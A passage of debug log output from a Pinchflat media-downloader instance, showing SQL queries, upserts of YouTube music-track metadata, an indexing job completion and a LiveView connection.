"short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nwhat if i dont want to fight anymore? · 404 Breakcore · 404 Breakcore\n\nwhat if i dont want to fight anymore? (breakcore)\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-06-01\n\nAuto-generated by YouTube.", "what if i dont want to fight anymore?", "03059229-9b18-4553-82be-80e11a0a591a", false, "xT96GuOo_nE", 130, false, "https://www.youtube.com/watch?v=xT96GuOo_nE", 11, "/downloads/Breakcore/Breakcore/2026-05-31what if i dont want to fight anymore?[xT96GuOo_nE].m4a", false, false, 3, [], 1, ~U[2026-05-31 10:03:20Z], ~U[2026-07-24 02:19:49Z], ~U[2026-07-24 02:19:49Z], "Provided to YouTube by DistroKid\n\nwhat if i dont want to fight anymore? · 404 Breakcore · 404 Breakcore\n\nwhat if i dont want to fight anymore? (breakcore)\n\n℗ 404 BREAKCORE MUSIC\n\nReleased on: 2026-06-01\n\nAuto-generated by YouTube.", "what if i dont want to fight anymore?", "xT96GuOo_nE", 130, false, "https://www.youtube.com/watch?v=xT96GuOo_nE", "/downloads/Breakcore/Breakcore/2026-05-31what if i dont want to fight anymore?[xT96GuOo_nE].m4a", false, 3, ~U[2026-05-31 10:03:20Z]] 22:19:49.426 [debug] QUERY OK source="sources" db=132.5ms idle=140.0ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 02:19:49Z], ~U[2026-07-24 02:19:49Z], 3] 22:19:49.427 [debug] QUERY OK source="media_items" db=0.4ms idle=272.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 22:19:49.427 [debug] QUERY OK source="media_items" db=0.2ms idle=134.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 22:19:49.427 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 22:19:49.524 [debug] QUERY OK source="sources" db=986.5ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:49.527 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=98.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:19:49.790 [debug] QUERY OK source="tasks" db=118.1ms idle=145.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [181, 3, ~U[2026-07-24 02:19:49Z], ~U[2026-07-24 02:19:49Z]] 22:19:49.927 [info] {"args":{"force":true,"id":3},"id":179,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":14261524,"event":"job:stop","queue_time":621444,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:19:49.958 [debug] QUERY OK source="media_items" db=430.4ms queue=0.1ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:49.958 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "duration" => 316, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", "id" => "lwsLjgrLcQk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lwsLjgrLcQk", "playlist_index" => 1, "timestamp" => 1551348908, "title" => "Lesser Gods", "upload_date" => "20190228"} 22:19:49.959 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=431.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:49.959 [debug] QUERY OK source="sources" db=0.5ms idle=287.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:49.959 [debug] QUERY OK source="sources" db=0.2ms idle=169.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:49.960 [debug] QUERY OK source="media_items" db=0.1ms idle=32.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:19:49.960 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-28 10:15:08Z], 5] 22:19:49.960 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:49.961 [debug] QUERY OK source="sources" db=0.2ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:50.121 [debug] QUERY OK source="media_items" db=160.8ms queue=0.2ms idle=0.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "277bdc28-b11b-4896-81ce-68a21a51dfda", false, "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", 1, "/downloads/ChristianMetal/ChristianMetal/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", false, false, 5, [], 1, ~U[2019-02-28 10:15:08Z], ~U[2026-07-24 02:19:49Z], ~U[2026-07-24 02:19:49Z], "Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", "/downloads/ChristianMetal/ChristianMetal/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", false, 5, ~U[2019-02-28 10:15:08Z]] 22:19:50.122 [debug] QUERY OK source="sources" db=0.3ms idle=161.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:50.122 [debug] QUERY OK source="media_profiles" db=0.1ms idle=161.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:50.143 [debug] QUERY OK source="media_items" db=182.2ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:19:50.145 [debug] QUERY OK source="media_items" db=1.0ms queue=0.5ms idle=22.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [115] 22:19:50.145 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nWaymaker · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Osinachi Okoro\n\nAuto-generated by YouTube.", "duration" => 257, "filename" => "/downloads/ChristianMetal/ChristianMetal/2020-09-17Waymaker[aOWIW9aRsvo].m4a", "id" => "aOWIW9aRsvo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aOWIW9aRsvo", "playlist_index" => 2, "timestamp" => 1600337166, "title" => "Waymaker", "upload_date" => "20200917"} 22:19:50.146 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=21.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:19:50.147 [info] Sent 200 in 1831ms 22:19:50.148 [debug] QUERY OK source="sources" db=1.3ms queue=1.1ms idle=23.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:50.150 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:50.151 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-09-17 10:06:06Z], 5] 22:19:50.275 [debug] QUERY OK source="media_items" db=123.0ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nWaymaker · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Osinachi Okoro\n\nAuto-generated by YouTube.", "Waymaker", "da851b5b-8717-4425-b784-7456125054ee", false, "aOWIW9aRsvo", 257, false, "https://www.youtube.com/watch?v=aOWIW9aRsvo", 2, "/downloads/ChristianMetal/ChristianMetal/2020-09-17Waymaker[aOWIW9aRsvo].m4a", false, false, 5, [], 2, ~U[2020-09-17 10:06:06Z], ~U[2026-07-24 02:19:50Z], ~U[2026-07-24 02:19:50Z], "Provided to YouTube by Universal Music Group\n\nWaymaker · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Osinachi Okoro\n\nAuto-generated by YouTube.", "Waymaker", "aOWIW9aRsvo", 257, false, "https://www.youtube.com/watch?v=aOWIW9aRsvo", "/downloads/ChristianMetal/ChristianMetal/2020-09-17Waymaker[aOWIW9aRsvo].m4a", false, 5, ~U[2020-09-17 10:06:06Z]] 22:19:50.293 [debug] QUERY OK source="sources" db=18.3ms idle=129.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:50.294 [debug] QUERY OK source="media_profiles" db=0.1ms idle=145.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:50.294 [debug] QUERY OK source="media_items" db=0.1ms idle=144.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [117] 22:19:50.294 [debug] Current batch of media processed. Will check again in 1000ms 22:19:50.359 [info] CONNECTED TO Phoenix.LiveView.Socket in 28µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "XzJsfQEkICYoF1w5WiRVGGNeYhA1K3oa6__JhlIgCqhi8idN34Vcf_-Y", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:50.380 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 2} 22:19:50.380 [debug] QUERY OK source="sources" db=0.2ms idle=229.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:50.381 [debug] QUERY OK source="media_items" db=0.2ms idle=106.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:19:50.381 [debug] QUERY OK source="media_items" db=0.3ms idle=87.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = 